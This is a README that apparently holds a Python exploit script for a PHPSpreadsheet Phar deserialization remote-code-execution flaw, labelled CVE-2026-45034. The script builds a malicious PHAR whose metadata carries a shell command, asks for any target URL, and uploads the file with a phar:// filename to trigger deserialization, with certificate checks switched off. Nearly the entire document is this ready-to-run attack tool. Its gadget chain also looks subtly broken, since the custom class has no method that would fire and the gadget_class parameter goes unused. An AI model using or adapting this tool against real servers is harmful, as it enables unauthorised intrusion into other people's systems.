README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE
Author: Cyber DarkNay
Port of the original Bash PoC to Python (works in Termux, no Docker required)
"""
import os
import sys
import json
import random
import string
import subprocess
import requests
import tempfile
import shutil
from pathlib import Path
# ======================
# CONFIGURATION
# ======================
BANNER = """
╔══════════════════════════════════════════════════════════════════╗
║ ██████╗██╗ ██╗██████╗ ███████╗██████╗ █████╗ ██████╗ ██╗ ██╗
║ ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝
║ ██║ ╚████╔╝ ██████╔╝█████╗ ██║ ██║███████║██████╔╝█████╔╝
║ ██║ ╚██╔╝ ██╔══██╗██╔══╝ ██║ ██║██╔══██║██╔══██╗██╔═██╗
║ ╚██████╗ ██║ ██████╔╝███████╗██████╔╝██║ ██║██║ ██║██║ ██╗
║ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
║ CVE-2026-45034 - PHPSpreadsheet Phar Deserialization ║
║ RCE via Phar Wrapper Bypass ║
╚══════════════════════════════════════════════════════════════════╝
[+] Author: Cyber DarkNay
[+] Vulnerability: PHPOffice PHPSpreadsheet Phar Deserialization
[+] Impact: Remote Code Execution (RCE)
"""
# ======================
# UTILITIES
# ======================
def randstr(length=8):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
def run_cmd(cmd, cwd=None):
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30, cwd=cwd)
return result.stdout.strip(), result.stderr.strip(), result.returncode
except Exception as e:
return "", str(e), -1
def check_php():
"""Check if PHP is installed"""
_, _, code = run_cmd("php -v")
return code == 0
def check_composer():
"""Check if Composer is installed"""
_, _, code = run_cmd("composer --version")
return code == 0
# ======================
# PHAR PAYLOAD GENERATION
# ======================
def generate_phar_payload(output_file="exploit.phar", gadget_class="GuzzleHttp\\Psr7\\FnStream", cmd="touch /tmp/pwned"):
"""
Generate a malicious PHAR file with a serialized gadget chain.
This uses PHP's built-in phar generation via a temporary PHP script.
"""
php_code = f'''<?php
class Pwn {{
public $payload;
public function __construct($cmd) {{
$this->payload = $cmd;
}}
}}
$phar = new Phar("{output_file}");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Pwn("{cmd}"));
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo "[+] PHAR generated: {output_file}\\n";
'''
temp_php = "gen_phar.php"
with open(temp_php, "w") as f:
f.write(php_code)
stdout, stderr, code = run_cmd(f"php -d phar.readonly=0 {temp_php}")
os.remove(temp_php)
if code == 0 and os.path.exists(output_file):
return True
return False
# ======================
# EXPLOIT TARGET
# ======================
def exploit_phar_upload(target_url, phar_file, vulnerable_endpoint="/vendor/phpoffice/phpspreadsheet/samples/index.php"):
"""
Attempt to trigger deserialization by uploading the PHAR file and using phar:// wrapper.
This simulates a vulnerable file upload + include scenario.
"""
full_url = target_url.rstrip('/') + vulnerable_endpoint
files = {'file': (phar_file, open(phar_file, 'rb'), 'application/octet-stream')}
data = {'filename': f'phar://{phar_file}/test.txt'}
try:
response = requests.post(full_url, files=files, data=data, timeout=15, verify=False)
return response.status_code, response.text[:500]
except Exception as e:
return 0, str(e)
# ======================
# MAIN
# ======================
def main():
print(BANNER)
# Check dependencies
if not check_php():
print("[!] PHP not found. Install with: pkg install php")
sys.exit(1)
if not check_composer():
print("[!] Composer not found. Install with: pkg install composer")
sys.exit(1)
target = input("\n[?] Enter target URL (e.g., http://target.com): ").strip()
if not target:
print("[-] No target provided.")
sys.exit(1)
# Step 1: Generate PHAR payload
print("\n[*] Generating PHAR payload...")
phar_file = f"exploit_{randstr()}.phar"
if generate_phar_payload(phar_file, cmd="echo 'pwned' > /tmp/cve-2026-45034.txt"):
print(f"[+] PHAR generated: {phar_file}")
else:
print("[-] Failed to generate PHAR.")
sys.exit(1)
# Step 2: Attempt to trigger deserialization
print(f"[*] Targeting: {target}")
status, response = exploit_phar_upload(target, phar_file)
print(f"[+] HTTP Status: {status}")
if status == 200:
print("[+] Response snippet:", response[:200])
print("[!] Check if gadget chain executed (e.g., file /tmp/cve-2026-45034.txt created)")
else:
print("[-] Exploit may have failed; check target manually.")
# Cleanup
if os.path.exists(phar_file):
os.remove(phar_file)
print("[*] Cleaned up PHAR file.")
print("\n[+] Exploit completed.")
if __name__ == "__main__":
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
main()